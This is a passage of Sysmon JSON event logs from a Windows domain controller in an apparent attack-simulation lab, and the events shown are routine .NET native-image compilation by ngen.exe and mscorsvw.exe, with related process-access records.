2020-08-07 12:00:24.385","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:24.385","ProcessGuid":"{90617006-4258-5F2D-0000-001099CF0900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c9c-0\\Accessibility.dll","CreationUtcTime":"2020-08-07 12:00:24.385","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010C2D20900}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010C2D20900}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010C2D20900}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010C2D20900}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010C2D20900}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010C2D20900}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.603\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010D4D60900}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.603","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010D4D60900}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010D4D60900}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010D4D60900}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010D4D60900}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010D4D60900}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:26.025\r\nProcessGuid: {90617006-4258-5F2D-0000-0010D4D60900}\r\nProcessId: 3472\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d90-0\\Microsoft.VisualBasic.dll\r\nCreationUtcTime: 2020-08-07 12:00:26.025","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:26.025","ProcessGuid":"{90617006-4258-5F2D-0000-0010D4D60900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d90-0\\Microsoft.VisualBasic.dll","CreationUtcTime":"2020-08-07 12:00:26.025","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001090DB0900}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001090DB0900}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 